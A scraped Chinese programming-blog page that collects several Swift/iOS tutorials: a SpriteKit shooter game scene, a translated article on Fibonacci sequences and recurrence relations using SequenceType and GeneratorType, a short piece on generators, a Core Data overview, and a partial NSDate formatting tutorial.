    let planeTexture = SKTexture(imageNamed: "Spaceship")
    let enemyTexture = SKTexture(imageNamed: "Enemy")
    var plane:SKSpriteNode!
    
    var bulletTime:NSTimeInterval = 0.2//子弹发射间隔
    var lastBullet:NSTimeInterval = 0//上次发射的时间点
    var toucheGap = CGPoint(x: 0, y: 0)
    
    var enemyTime:NSTimeInterval = 1
    var lastEnemy:NSTimeInterval = 0
    
    override func didMoveToView(view: SKView) {
        /* Setup your scene here */
        
        physicsWorld.contactDelegate = self
        physicsWorld.gravity = CGVectorMake(0, 0)
        
        plane = SKSpriteNode(texture: planeTexture)
        plane.position = CGPointMake(size.width * 0.5, size.height * 0.5)
        plane.setScale(0.5)
        plane.name = "plane"
        addChild(plane)
    }
    
    override func touchesBegan(touches: Set<NSObject>, withEvent event: UIEvent) {
        /* Called when a touch begins */
        let location:CGPoint! = (touches.first as! UITouch).locationInNode(self)
        toucheGap = CGPoint(x: location.x - plane.position.x, y: location.y - plane.position.y)
    }
    
    override func touchesMoved(touches: Set<NSObject>, withEvent event: UIEvent) {
        let location:CGPoint! = (touches.first as! UITouch).locationInNode(self)
        let xDir = clamp(location.x - toucheGap.x, min: 0, max: size.width)
        let yDir = clamp(location.y - toucheGap.y, min: 0, max: size.height)
        plane.position = CGPoint(x: xDir, y: yDir)
    }
    
    override func touchesEnded(touches: Set<NSObject>, withEvent event: UIEvent) {

    }
    
    func didBeginContact(contact: SKPhysicsContact) {
        if contact.bodyA.categoryBitMask | contact.bodyB.categoryBitMask == BulletCategory | EnemyCategory{
            print("enemy die")
            
            contact.bodyA.node?.removeFromParent()
            contact.bodyB.node?.removeFromParent()
        }
    }
   
    override func update(currentTime: CFTimeInterval) {
        /* Called before each frame is rendered */
        
        if currentTime >= lastBullet + bulletTime{
            createBullet()
            lastBullet = currentTime
        }
        
        if currentTime >= lastEnemy + enemyTime{
            createEnemy()
            lastEnemy = currentTime
            enemyTime = NSTimeInterval(arc4random() % 20 + 5) / 10
        }
        
    }
    
    func createBullet(){
        let bullet = SKShapeNode(rectOfSize: CGSizeMake(10, 10))
        bullet.position = CGPointMake(plane.position.x, plane.position.y + 50)
        bullet.strokeColor = UIColor.clearColor()
        bullet.fillColor = UIColor.greenColor()
        bullet.physicsBody = SKPhysicsBody(rectangleOfSize: CGSizeMake(10, 10))
        bullet.physicsBody?.categoryBitMask = BulletCategory
        bullet.physicsBody?.collisionBitMask = 0
        bullet.physicsBody?.contactTestBitMask = EnemyCategory
        addChild(bullet)
        
        bullet.runAction(SKAction.sequence([SKAction.moveByX(0, y: size.height, duration: 2), SKAction.removeFromParent()]))
    }
    
    func createEnemy(){
        let enemy = SKSpriteNode(texture: enemyTexture)
        enemy.setScale(0.5)
        
        var randomX = CGFloat(arc4random()) % size.width
        
        enemy.position = CGPointMake(randomX, size.height)
        enemy.physicsBody = SKPhysicsBody(rectangleOfSize: enemy.size)
        enemy.physicsBody?.categoryBitMask = EnemyCategory
        enemy.physicsBody?.collisionBitMask = 0
        enemy.physicsBody?.contactTestBitMask = BulletCategory
        addChild(enemy)
        
        enemy.runAction(SKAction.sequence([SKAction.moveByX(0, y: -size.height, duration: 4), SKAction.removeFromParent()]))
    }
    
    func clamp(x: CGFloat, min: CGFloat, max: CGFloat) -> CGFloat{
        if x <= min{
            return min
        }else if x >= max{
            return max
        }else{
            return x
        }
    }
}

下一篇
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这篇博文启发自Code Review.SE上的一个讨论，同时nerd-sniped上的关于数学的有趣的学习。让我对数学和 Swift 的结合有了兴趣。所以我花了一段时间来把这些知识整理成一篇博文，特别是自从我完成了对我网站重建的第一步以后。更重要的是，我希望我能更勤勉的更新我的博客，这8年我只写了一篇而已，希望大家能对我的博客感兴趣。
这篇博文的目标对于初学者来讲，比较容易理解，同时也提供给那些已经对这个概念熟悉的人一些有用的细节和例子。希望大家能给我反馈。



假设你第一次学习 Swift，你实在是太兴奋了，花了一天时间反复练习，等到第二天就成了专家。于是第二天你就开始传授课程来教别人。

当然，我很愿意成为你的第一个学生。我也学的很快，一天学下来，我也可以教别人 Swift 了。我俩继续教别人，其他的学生也学的很快，马上跟上进度，都可以第二天就去教别人。

这是个多么让人兴奋的世界呀。但是问题来了，照这样的进度下去，Swift 学习者将大量涌入城市，基础设施将无法支撑庞大的人口。

市长叫来最好的科学家们：“我们需要精确的数学模型！每天到底有多少人会使用 Swift？什么时候这种疯狂会终止？”

搭建数学模型

为了方便理解问题，让我们画一副图来表示最初几天发生的事：


仔细观察我们发现，特定的一天总的 Swifters 数量（我们用 \\(S_{今天}\\) 来表示）等于前一天的数量加上每个老师可以所教的学生。

$$ S_{今天} = S_{昨天} + 老师数 $$

那么老师数目是多少呢？记住，一个人需要花一天时间学习才能变成 Swift 专家，所以前天的每一个人都能成为老师，都可以教一个学生：\\(S_{今天} = S_{昨天} + S_{前天}\\)。

这下公式就简单了！我们可以用手算了：

0 + 1 = 1
    1 + 1 = 2
        1 + 2 = 3
            2 + 3 = 5
                3 + 5 = 8
                       ...

如果这个数列看上去有点熟悉，那是因为这是斐波纳契数列。

1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,...


不管你是否喜欢，我们的世界里处处都有斐波那契数的存在：花瓣的生长遵循斐波那契数列，大树的枝丫是斐波那契树丫，当然也有人吐槽说这不过是确认偏误罢了。我们发现，这个数列是基于非常简单的形式的，非常容易计算：


var i = 0
var j = 1
while true {
    (i, j) = (j, i + j)
    print(i) // 打印1, 然后打印1, 继续打印2, 3, 5, 8, 13, 21, 34, 55...
}


大功告成！

哈哈，骗你的。我们才刚刚开始。计算机美妙的地方就在于可以帮助我们快速的解决用手算很麻烦的问题。让我们尝试几个例子。

42天后有多少个 Swifter？

前面我们已经差不多解决了这个问题，只要在42那边停止循环即可。


var i = 0
var j = 1
for _ in 0..<42 {
    (i, j) = (j, i + j)
}
i // returns 267914296


那么第 n 天呢？

和之前的问题类似，我们可以将其抽象成一个函数。用 n 来代替 42。


func nthFibonacci(n: Int) -> Int
{
    var i = 0
    var j = 1
    for _ in 0..<n {
        (i, j) = (j, i + j)
    }
    return i
}

nthFibonacci(42) // 返回 267914296
nthFibonacci(64) // 返回 10610209857723

第一周到底写了多少 Swift？

为了简化问题，假定每个人写代码的速度是一样的。知道每个人每天写的代码量后，我们只需要把斐波那契数加起来即可。


func fibonacciSumUpTo(n: Int) -> Int
{
    var sum = 0
    for i in 0..<n {
        sum += nthFibonacci(i) 
        // 第 i 天 使用 Swift 写代码的人数
    }
    return sum
}

fibonacciSumUpTo(7) // 返回 33


逐步简化

不要急，Swift 的标准库里面已经有了一个函数叫做 reduce，可以将数字加在一起。我们该怎么写呢?


[1, 1, 2, 3, 5, 8, 13].reduce(0, combine: +) // 返回 33

这样可行，但是我们需要把每个数字都写出来。要是能用 nthFibonacci() 就好了。

既然这些是连续的斐波那契数，我们可以简单的使用1到7的范围：


[1, 2, 3, 4, 5, 6, 7].map(nthFibonacci) 
// 返回 [1, 1, 2, 3, 5, 8, 13]

[1, 2, 3, 4, 5, 6, 7].map(nthFibonacci).reduce(0, combine: +)
 // 返回 33

或者我们可以更简单，用 Swift 的range operator(...):


(1...7).map(nthFibonacci).reduce(0, combine: +) // 返回 33

这等同于 fibonacciSumUpTo

性能优化

看上去很不错，但是不要忘了 nthFibonacci(i) 从0开始加到 i，所需的工作量将随着i线性增加。

而且我们所写的 (1...n).map(nthFibonacci).reduce(0, combine: +) 从1到n每次凑要运行 nthFibonacci， 这将大大增加运算量。

注意：计算越简单的斐波那契数，真实耗费每一步的时间几乎可以忽略不计（开启性能优化）。这篇文章之前的草稿版本包括了时间消耗的表格，但是我把表格去掉了，怕误导大家。取而代之的是，我们讨论的是一个相对的时间/性能的复杂度。



让我们将 nthFibonacci 和 fibonacciSumUpTo 两个函数结合来减少一点运算量：


func fastFibonacciSumUpTo(n: Int) -> Int
{
    var sum = 0
    var i = 0
    var j = 1
    for _ in 0..<n {
        (i, j) = (j, i + j) // 计算下一个数
        sum += i // 更新总数
    }
    return sum
}

fastFibonacciSumUpTo(7) // 返回 33

现在我们已经将 fastFibonacciSumUpTo 的复杂度从二次降为线性了。

但是为了实现这个，我们不得不写了一个更加复杂的方程。我们在分离相关度(把计算斐波那契数和求和分为2步) 和优化性能之间进行了权衡。

我们的计划是用 Swift 的标准库来简化和解开我们的代码。首先我们来总结一些我们要做什么。


	将前n个斐波那契数用线性时间(linear time)和常量空间(constant space)的方式加起来。


	将前n个斐波那契数用线性时间(linear time)和常量空间(constant space)的方式加起来。


	将前n个斐波那契数用线性时间(linear time)和常量空间(constant space)的方式加起来。




幸运的是，Swift 正好有我们需要的功能！

1、 reduce 函数，用 + 操作符来结合。

2、 prefix 函数和惰性求值(Lazy Evaluation)

注意：prefix只有在 Xcode 7 beta 4中可用，作为 CollectionTypes 的一个全局函数使用，但其实已经在 OS X 10.11 beta 5 API 作为 SequenceType 的扩展出现了。我期望在下一个 Xcode beta 有一个延迟实现的版本；现在这里有一个自定义的实现。



3、 定制数列，使用数列型协议(SequenceType protocol)

定制数列

Swift 的 for-in 循环的基础是 SequenceType 协议。所有遵循这个协议的可以循环。

想要成为一个 SequenceType 只有一个要求，就是提供一个创建器( Generator )：


protocol SequenceType {
    typealias Generator: GeneratorType
    func generate() -> Generator
}

而成为一个 GeneratorType 只有一个要求，就是生产元素( Elements )


protocol GeneratorType {
    typealias Element
    mutating func next() -> Element?
}

所以一个数列就是一个可以提供元素创建器的东西。

最快创建定制数列的方法就是用AnySequence。这是一个内建的结构体，可以响应generate()，去调用一个你在初始化时所给的闭包。


struct AnySequence<Element>: SequenceType {
    init<G: GeneratorType where G.Element == Element>
    (_ makeUnderlyingGenerator: () -> G)
}

类似的，我们可以用 AnyGenerator 和 anyGenerator 函数来造创建器。


func anyGenerator<Element>(body: () -> Element?) -> 
AnyGenerator<Element>

所以写一个斐波那契数列就相当简单了：


let fibonacciNumbers = AnySequence { () -> AnyGenerator<Int> in
    // 为了创建一个生成器，我们首先需要建立一些状态...
    var i = 0
    var j = 1
    return anyGenerator {
        // ... 然后生成器进行改变
        // 调用 next() 一次获取每一项
        // (代码看起来是不是很熟悉？)
        (i, j) = (j, i + j)
        return i
    }
}


现在 fibonacciNumbers 是一个 SequenceType，我们可以使用 for 循环：


for f in fibonacciNumbers {
    print(f) // 打印 1, 然后打印 1, 继续打印 2, 3, 5, 8, 13, 21, 34, 55...
}

而且我们可以自由的使用 prefix:


for f in fibonacciNumbers.prefix(7) {
    print(f) // 打印 1, 1, 2, 3, 5, 8, 13, 然后停止.
}

最后我们可以用 reduce 来加起来：


fibonacciNumbers.prefix(7).reduce(0, combine: +) // 返回 33

太棒了！这是线性时间的，常量空间的，最重要的是这非常清晰的展示了我们所要做的，而不需要使用 ... 和 map。

说明：如果你在playground里运行这段代码，可能会发现这个版本比之前的要慢。这个版本只改变了常数部分，复杂度本身没有变化，但是性能却有明显下降。和 fastFibonacciSumUpTo 进行对比可以发现，这段代码把单一的循环改成了函数调用，这可能就是性能降低的原因。没错，我们又需要进行权衡。



灵活度

目前的目标只是给了我们一个更好给工具去解答有关斐波那契数的问题。深入钻研来看，我们可能会问：为什么我要先研究斐波那契数？这不过是这个数列恰好符合我们所发现的规律：

$$S_{今天} = S_{昨天} + S_{前天}$$

这个公式在我们代码中表现为 (i, j) = (j, i + j)。但是这深藏了 AnySequence 和 anyGenerator。如果我们要写更加清晰的代码 --- 可以描述我们想要解决的问题、不需要仔细分析 --- 我们最好写的更加明显点。

斐波那契数列常写成这种形式：

$$F_{n} = F_{n-1} + F_{n-2}$$

这是类似的形式，但是最重要的是这表现出递推关系。这种数学关系指的是数列里某一个数的值取决于前面几个数的值。

定义递推关系的时候，首先要定义初始项。我们不能简单的利用 (i, j) = (j, i + j) 来计算斐波那契数如果我们不知道什么是 i 什么是 j。在我们的例子里，我们的初始项为 i = 0 和 j = 1 —— 或者，我们可以把初始值定为1和1，因为我们是等第一个值返回以后才进行计算的。

递推关系的阶数(order)是指每一步所需的前面项的个数，而且初始项数目必须等于阶数（不然的话我们就没有足够的信息来计算下一项）。

现在我们可以来设计API了！你只需提供初始项和递推就可以创建递推关系了：


struct RecurrenceRelation<Element>
{
    /// - Parameter initialTerms: The first terms of the sequence.
    ///     The `count` of this array is 
    ///     the **order** of the recurrence.
    /// - Parameter recurrence: 
                Produces the `n`th term from the previous terms.
                
    /// - 参数 initialTerms: 序列的第一个元素集合.
    /// 数组的个数也就代表这个递推的排序。
       /// - 参数 recurrence：根据前面的元素推算出第 n 个元素
    init(_ initialTerms: [Element], _ recurrence: 
    (T: UnsafePointer<Element>, n: Int) -> Element)
}

（我们在使用 UnsafePointer<Element> 而不是 [Element]，这样我们就可以使用 T[n] 而不需要存储先前计算的项）。

现在，我们的初始任务变得更加简单了。多少人在使用Swift？ 只要用这个公式即可：


let peopleWritingSwift = RecurrenceRelation([1, 1]) 
{ T, n in T[n-1] + T[n-2] }

peopleWritingSwift.prefix(7).reduce(0, combine: +) // 返回 33


那么，如何来实现这个API呢?

我们来做吧。


struct RecurrenceRelation<Element>: SequenceType, GeneratorType
{

首先我们需要一些内存来存储元素，还需要一个引用来链接到我们所要传递的闭包。


    private let recurrence: (T: UnsafePointer<Element>, n: Int) -> Element
    private var storage: [Element]
    
    /// - 参数 initialTerms: 序列的第一个元素集合.
    /// 数组的个数也就代表这个递推的排序。
       /// - 参数 recurrence：根据前面的元素推算出第 n 个元素
    init(_ initialTerms: [Element], _ recurrence: (T: UnsafePointer<Element>, n: Int) -> Element)
    {
        self.recurrence = recurrence
        storage = initialTerms
    }

为了简单点，我们同时采用 SequenceType and GeneratorType。对于 generate()，我们只返回 self。


    // SequenceType requirement
    func generate() -> RecurrenceRelation<Element> { return self }

接下来，每次调用 next()，我们调用 recurrence 来产生下一个值， 并且将其存在 storage 里。


    // GeneratorType requirement
    private var iteration = 0
    mutating func next() -> Element?
    {
        // 首先推算出所有的初始元素值
        if iteration < storage.count { return storage[iteration++] }
        
        let newValue = storage.withUnsafeBufferPointer { buf in
            // 调用闭包，传入内存地址中的指针的偏移量，知道 T[n-1] 是数组中最后一个元素
            return recurrence(T: buf.baseAddress + 
            storage.count - iteration, n: iteration)
        }
        
        // 存储下一个的值，丢弃到最旧的值
        storage.removeAtIndex(0)
        storage.append(newValue)
        iteration++
        return newValue
    }
}


更新：@oisdk指出 UnsafePointer 不是必须的。在原来的版本中，我使用它是为了让 n 的值在 recurrence 中更加精确 - 但是自从 recurrence 只依赖与前一项，而不是 n 本身时，n 的值不再改变时，这是ok的。 所以这个版本运行良好。不使用 UnsafePointer 感觉更加安全了!



记住：有许多种方法可以定义自定义数列。CollectionType，SequenceType，和 GeneratorType 只是协议，你可以按照自己所需的方式来遵循它们。也就是说，在实践中也许你很少需要这么做 —— Swift 的标准库里有大多数你所需的。不过如果你觉得需要自定义的数据结构，你可以使用 CollectionType 和 SequenceType。

更多的例子

现在我们已经归纳了递推关系，我们可以轻松地计算许多东西了。比如说卢卡斯数（Lucas Number）。和斐波那契数类似，只不过初始项不同：


// 2, 1, 3, 4, 7, 11, 18, 29, 47, 76, 123, 199, 322, 521...
let lucasNumbers = RecurrenceRelation([2, 1]) { T, n in T[n-1] + T[n-2] }

或者”Tribonacci Numbers“，一个拥有有趣性质的三阶递推：


// 1, 1, 2, 4, 7, 13, 24, 44, 81, 149, 274, 504...
let tribonacciNumbers = RecurrenceRelation([1, 1, 2]) 
{ T, n in 
    T[n-1] + T[n-2] + T[n-3] 
}


花一些额外的功夫，我们可以视觉化单峰映像的混沌二根分支。


func logisticMap(r: Double) -> RecurrenceRelation<Double>
{
    return RecurrenceRelation([0.5]) { x, n in 
        r * x[n-1] * (1 - x[n-1]) 
    }
}

for r in stride(from: 2.5, to: 4, by: 0.005) {
    var map = logisticMap(r)
    for _ in 1...50 { map.next() } 
    // 处理一些得到的值

    Array(map.prefix(10))[Int(arc4random_uniform(10))] 
    // 随机选择接下来 10 个值当中的一个
}



是不是很有数学的简洁性呀？

相关推荐


	TED 演讲，The magic of Fibonacci numbers, 演讲者，Arthur Benjamin.


	Binet's Formula, 使用一个几乎常量时间的公式来计算斐波那契数。


	Arrays, Linked Lists, and Performance，作者 Airspeed Velocity, 对序列使用其他有意思的方法，包括对ManagedBuffer的讨论。




本文由 SwiftGG 翻译组翻译，已经获得作者翻译授权，最新文章请访问 http://swift.gg。
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前言


Generators与Sequences构成了Swift式循环。


Generators


提到数组我们就会想到遍历，一般的遍历可能都是从头到尾进行的。但是如果你有特殊的需求呢。你可能不想呆板的进行遍历。这时候Generators就可以派上用场了。


一个字：Generators的存在是进行特殊癖好的数组遍历，其筛选出符合该癖好的下标索引到数组没有元素为止。


怎么玩


任意一个generator都需要遵从如下协议：


protocol GeneratorType { 
    typealias Element
    func next() -> Element?
}



根据上述协议，该协议需要元素类型以及一个next()函数。


举个倒序索引的generator：


class CountdownGenerator: GeneratorType {
    typealias Element = Int
    var element: Element

    init<T>(array: [T]) {
        self.element = array.count - 1
    }

    func next() -> Element? {
        return self.element < 0 ? nil : element--
    }
}

// TEST CASE
let xs = ["A", "B", "C"]
let generator = CountdownGenerator(array: xs)
while let i = generator.next() {
    println("Element \(i) of the array is \(xs[i])")
}



好处是啥


好处是啥，我的总结是把一个很抽象遍历模式使用Generators的方式剥离出来，当你对当前的迭代循环方式不爽的时候只需要修改一下当前的这个generator。更直观的“头疼医头，脚疼医脚”。


Sequences


Generators在循环过程中每个元素提供的服务是一次性的。所以我们想做倒回操作的话需要生成一个新的generator。若不想这样则需要用上sequence，其遵从另外一个协议SequenceType：


怎么玩


protocol SequenceType {
    typealias Generator: GeneratorType 
    func generate() -> Generator
}



通过协议我们知道每个sequence都与一个generator类型已经一个generator构造器绑定在一起。我们可以使用这个遍历sequence。


举个栗子，我们可以使用CountdownGenerator来定义一个sequence从而生成一个倒序的数组。


struct ReverseSequence<T>: SequenceType {
    var array: [T]
    init(array: [T]) {
        self.array = array
    }

    typealias Generator = CountdownGenerator

    func generate() -> Generator {
        return CountdownGenerator(array: array)
    }
}

// TEST CASE
    let xs = ["A", "B", "C"]
    let reverseSequence = ReverseSequence(array: xs)
    let reverseGenerator = reverseSequence.generate()
    while let i = reverseGenerator.next() {
        println("Index \(i) is \(xs[i])")
    }

    // 利用熟悉的OO
    for i in ReverseSequence(array: xs) {
        println("Index \(i) is \(xs[i])")
    }



好处是啥


不用每次进行Loop操作的时候都去生成一个新的generator，提升代码的统一性。
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原文

简介

Core Data是个框架(并不是数据库哦)，它使开发者可以把数据当做对象来操作，而不必在乎数据在磁盘中的存储方式。对于iOS程序员来说，这很有用，因为我们已经可以通过代码非常熟悉的操作对象了。由Core Data 所提供的数据对象叫做托管对象(Managed Object)，而Core Data本身则位于你的应用程序和持久化存储区(Persistent store)之间。为了把数据从托管对象映射到持久化存储区中，Core Data 需要使用托管对象模型。所有的托管对象都必须位于托管对象上下文(Managed object context)里面，而托管对象上下文又位于高速的易失性存储器里面，也就是位于RAM中。

为什么需要有托管对象上下文呢？原因之一就是在磁盘与RAM之间传输数据时会有开销。磁盘读写速度比RAM慢的多，所以不应该频繁地访问它。有了托管对象上下文，就可以非常迅速地获取到了。但它的缺点在于，开发者必须在托管对象上下文上面定期调用save方法，以将变更后的数据写回磁盘。托管对象上下文的另一个功能是记录开发者对托管对象所对的修改，以提供完整的撤销和重做支持。

上边我们对Core Data简单的介绍了一下。接下来我们需要对CoreData中的重要的名词做一解释。

持久化存储协调器

持久化存储协调器(persistent store coordinator)里面包含一份持久化存储区，而存储区里面又含有数据表里面的若干行数据。设置持久化存储协调器的时候，我们通常选用SQLite数据库作为持久化存储区。另外，也可以选用Binary、XML、或In-Memory等形式的持久化存储区。但要注意的是，Binary和XML格式的存储区是Atomic，也就是说，即便你只想修改少量的数据，在保存的时候也依然需要把整个文件都写入磁盘。

同一个持久化存储协调器可以有多个持久化存储区。把CoreData与iCloud相集成的时候，就可能会出现这样的情况。我们可以把不属于iCloud的数据放在一个存储区里面，而把属于iCloud的数据放在另外一个存储区里面，这样既能节省网络宽带，又能节省iCloud存储空间。

即便你有两个持久化存储区，也不意味着必须使用两种对象图。CoreData的模型配置允许开发者使用多个独立的存储区，但却采用同一套对象图。在设置CoreData的模型配置选项时，可以指明对象图里面的某一部分属于哪一个持久化存储区。

要想创建持久化存储区，需生成NSPersistentStore；要想创建持久化存储协调器，需生成NSPersistentStoreCoordinator类的实例。

托管对象模型

托管对象模型它位于持久化存储协调器和托管对象上下文直间。顾名思议，托管对象模型是描述数据结构的模型或者图示，而托管对象正是以它为基础产生出来的。可以用Xcode来配置实体（Entity）及实体之间的关系。实体本身并不包含数据，它们只是规定了基于该实体的托管对象具有何种特性。实体也有属性，属性的数据类型可以是整数，字符串，或者日期等。

要想创建托管对象模型，需要生成NSManagedObjectModel类的实例。

托管对象上下文

托管对象上下文中可包含多个托管对象。托管对象上下文负责管理其中对象的生命期，并且负责提供许多强大的功能。

托管对象上下文也可以不止有一个，有时我们需要在后台处理任务（比方说把数据保存到磁盘或者导入数据），这种情况下可以采用多个上下文。加入在前台上下文上面调用Save，那么用户界面就可能会有卡顿现象，尤其当数据变化较大的时候更是如此。要想避免这个问题，有个简单的办法就是只在用户按下手机的Home键时才去调用Save，这时应用程序会转入到后台。还有个稍微复杂的但却很灵活的办法，就是采取两个托管对象上下文。请记住，托管对象上下文是存放在高速内存里面的。你可以配置其中一个上下文，那么就可以将后台上下文种的数据异步存入磁盘。这种分段式的做法可以确保磁盘写入操作不会影响用户界面的流畅度。

要想创建托管对象上下文，需要生成NSManagedObjectContext类的实例

先介绍到这里，至于CoreData的具体操作之后的博客里再去介绍。
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如果问我在做过的所有项目中做的最多的事情，那处理日期绝对是榜上有名（译注：本文中的「日期」是指代 NSDate 对象，同时包含「日（date）」 和「时（time）」这两个元素）。毋庸置疑，无论工作量是多是少，开发者迟早需要「玩」一下 NSDate 类，去按某种方式处理一下日期。从简单的将一个日期转换成一个字符串到对日期做计算，总会有一个不变的事实：开发者必须在 iOS 编程中学会这个知识点。这并不难掌握，而且可以为以后更重要任务节省时间。在新手看来，对日期的操作很麻烦；然而事实并非如此。你需要做的就是掌握它。

在应用中对日期（NSDate）对象最常见的操作就是把它转换成一个字符串对象，这样就可以用正确的格式把它展示给用户。反向操作也很常见：把字符串转换成日期对象。然而日期的操作并不只有这些。下面是一个简单的列表，列出了除上述操作之外可以对日期进行的其他操作：


	日期之间的比较。


	计算未来或者过去的日期，很简单：用一个参考日期（比如当前日期）加上或者减去一段时间（天、月、年等等）。


	计算不同日期之间的差值（比如算出两个特定日期之间的时间间隔有多久）。


	将一个日期按其组成元素（components）做分解，并对每个部分做分别访问（天、月等等）。




上面列出的所有内容，包括日期和字符串之间的相互转换，都是这篇教程要讨论的主题。在接下来的各个小节中，你会发现只要你知道该用什么工具以及如何使用它们，你就能随心所欲的对日期进行操作。



下面的链接清单里有很多重要的文章，供参考。如果需要深入了解某些特定知识点，别忘了点击访问一下：


	NSDate


	NSDateFormetter


	NSDateComponents


	NSDateComponentFormatter


	NSCalendar




关于 Demo App

嗯，这个教程我们不使用 demo 应用（是的，你没看错）。取而代之，我们这次用一个 Playground 来展示你将要看到的所有例子。我是特意这么做的，因为我的目的是给你提供丰富的、能更好的展示出关于 NSDate 方方面面的代码。

你可以下载并在 Xcode 中打开这个写好的 playground 文件，但我还是强烈建议你新建一个 Playground 文件，并测试下面章节中的每一个新代码段。这样会让你更容易的去理解每个示例是如何工作的，除此之外你还可以修改代码，实时观察你的修改会如何影响生成的结果。

我给你的 playground 文件名是 PlayingWithDates，里面包含了所有的代码。你自己的文件可以用相同的文件名，或者换一个，都无所谓。

基本概念

在我们开始查看日期相关的技术细节并思考能用它们做什么之前，先要确保每个人都已经掌握一些基本概念，这很重要。先从一个最简单的开始：NSDate 对象。从程序角度来说这种对象包含了对日（date）和时（time）两者的描述，所以它不仅仅可以帮我们处理「日」，还可以帮我们处理「时」。对于 NSDate 对象本身来说是没有格式（formatting）这个概念的；和其他类中的所有属性一样，可以把日和时看做是属性（properties）。只有在将一个日期对象转换成一个字符串时，格式这个概念才会派上用场，下面的内容里我们会看到很多关于这个的细节。通常来讲，记住你所需要的就是 NSDate 这个类，无论你只关心「日」、「时」或者两者。

接下来我们会遇到的另一个类是 NSDateComponents。可以把这个类看做 NSDate 的「姊妹」类，因为这个类给开发者提供了一些极为有用的特性和操作。这个类的第一个要点是它可以将「日」部分或者「时」部分作为一个单独的属性显示出来，所以我们可以直接访问「日」或者「时」，然后在其他的任务中使用（比如对「日」或「时」的计算）。例如，一个 NSDateComponents 实例中的天和月在下面的代码中表示为 day 和 month 属性：


let dateComponents = NSDateComponents()
let day = dateComponents.day
let month = dateComponents.month


就这么简单。当然访问日期元素并将该日期的值传递给一个 NSDateComponents 对象需要先做一些强制转换，这些我们之后再讨论。

除上所述之外，NSDateComponents 这个类在用于计算未来或者过去的日期时也非常有用。当你想得到一个在某个特定日期之后或之前的那个日期时，你要做的就是加上或者减去合适的那一部分，最终就能转换成一个新的日期。另外 NSDateComponents 也适合计算日期之间的差值。现在无需深入研究这两个内容，我们一会儿会看到细节。

对于 NSCalendar 类，虽然它不会派上大用场，而且我们仅需要用它来实现 NSDate 和 NSDateComponents 相互转换，但它在我们的日期游戏中也是重要的一员。关于它所支持的特性，本文不会再进行介绍。将日期从 NSDate 转换成 NSDateComponents（或者反过来）的任务属于 NSCalendar 类，按照惯例，做转换需要一个特定的 c alendar（日历）对象。实际上系统在做任何转换之前都需要知道要用一个怎样的 calendar 对象，从而才可能给出正确的结果（别忘了满世界有太多不同的 calendar 对象，转换出来的「天」、「月」等值会千差万别）。你可以读一些和 calendar 有关的文章（参考简介里的链接），而在这里为图简便，我们会用 NSCalendar 的类方法 currentCalendar() 来得到用户设置中指定的 calendar。

此外，在下一节中我们会使用一个特别好的工具，它就是 NSDateFormatter 类。它能够实现 NSDate 对象到字符串、以及字符串到 NSDate 对象的转换。它还可以使用预定义的日期样式（date styles）来给最终的日期字符串制定格式，或是通过给出期望格式的描述来实现高度格式样式定制。下面会有一些相关的例子，其中一些例子示范了双向转换。一个 NSDateFormatter 对象同样也支持本地化（localization）；我们所需要的就是给它提供一个有效的 NSLocale 对象，基于该给定的位置（locale）设置最终转换出的对象就会正确显示出来。 

还有个类似的 NSDateComponentsFormatter 类，它可以将「日」和「时」部分作为输入，输出人类可读的、有特定格式的日期字符串。对此这个类包含了很多方法（methods），在此教程的最后一部分我们会看见其中几个；我们只讨论在教程的例子中用到的那些知识点。

上面已经说了那么多，我们可以开始编程了，具体学习上面提到的每个类的用法。再说一次，建议你创建一个新的 playground 文件，然后把我介绍的每一条都试一下。没有什么学习方法比亲手做更有效果。

NSDate 和 String 之间的转换

首先，我们使用 NSDate 获得当前日期，并将它赋给一个常量以便访问。和其他一些语言所要求的不同，获得当前的日期并不需要调用类似 now() 或者 today() 的特殊方法。你所要做的就是初始化一个 NSDate 对象：


let currentDate = NSDate()


在 Xcode 的 playground 里敲入上面的语句，你会看到：



注意我们会在下面的代码中多次使用到上面的这个值。现在初始化一个 NSDateFormatter 对象。它用来在 dates 和 strings 之间做转换。如下：


let dateFormatter = NSDateFormatter()


除非是有其他明确的设定，否则 dateFormatter 会默认采用设备中的位置（locale）设置。尽管系统并不要求你去手动设置当前的位置，但如果需要的话你可以这么做：


dateFormatter.locale = NSLocale.currentLocale()


设一个不同的位置很容易：你仅需要知道与位置（locale）相匹配的位置标识符（locale identifier）是什么，然后指定给 locale 属性即可：


dateFormatter.locale = NSLocale(localeIdentifier: "el_GR")
dateFormatter.locale = NSLocale(localeIdentifier: "fr_FR")


这两行代码展示了如何给 date formatter 去设置一个不同的位置（例子里分别是希腊和法国地区）。当然设置多个位置的值没有意义，因为能起作用的仅仅是最后一个。你是不是想知道 locale 是怎么影响日期和字符串之间的转换的呢？过会儿你就会得到答案。

用 Date formatter styles 为输出结果设置格式

把一个日期对象（NSDate）转换成一个字符串之前，你需要「告诉」date formatter 你要得到的字符串结果的格式是怎样的。这里有两种方法。第一种是使用预定义的 date formatter styles，第二种是使用某些特定的分类符（specifier）来手动指定最终输出结果的格式。

先用第一种方法，我们需要使用 NSDateFormatterStyle enum。这个枚举类型的每一个枚举值都代表一种不同的格式样式类型。第一个样式是 FullStyle，下面的图片是使用它的效果：



下面是上面代码的文本，想复制的话随意：


dateFormatter.dateStyle = NSDateFormatterStyle.FullStyle
var convertedDate = dateFormatter.stringFromDate(currentDate)


除了日期样式（date style）之外，上面两行代码中的 stringFromDate: 方法也同等重要，这个方法实现了真正的转换。当谈及转换时，我们实际上说的是这个方法，其余的只不过是自定义结果格式过程中所需的一些步骤。如果你想要在你的项目里做日期的转换，那么这个方法对你来说肯定非常方便。

好，来看下一个样式，Long Style：



文本形式的代码：


dateFormatter.dateStyle = NSDateFormatterStyle.LongStyle
convertedDate = dateFormatter.stringFromDate(currentDate)


可以看到这种类型的样式中不包含星期几（和 Full Style 相比而言）。下面是 Medium Style：




dateFormatter.dateStyle = NSDateFormatterStyle.MediumStyle
convertedDate = dateFormatter.stringFromDate(currentDate)


最后是 Short Style：


dateFormatter.dateStyle = NSDateFormatterStyle.ShortStyle
convertedDate = dateFormatter.stringFromDate(currentDate)


现在你已经知道可用的 date formatter styles 都是什么了，你可以根据项目需求去使用它们。每种样式的设置都会产生出一个不同的结果，可能其中有一种会适合你。

之前我说过 date formatter 的 locale 可以被设置成非默认值。现在我们已经看到如何使用 date formatter styles 做转换，我们再来看看不同的 locale 值如何改变初始日期的字符串转换结果。下面的例子中我会使用 Full Style，以及前面提到的两个 locale identifier（希腊和法国）。



我想现在 locale 能做什么你已经很清楚了，好好使用它吧。

使用 Date format specifier

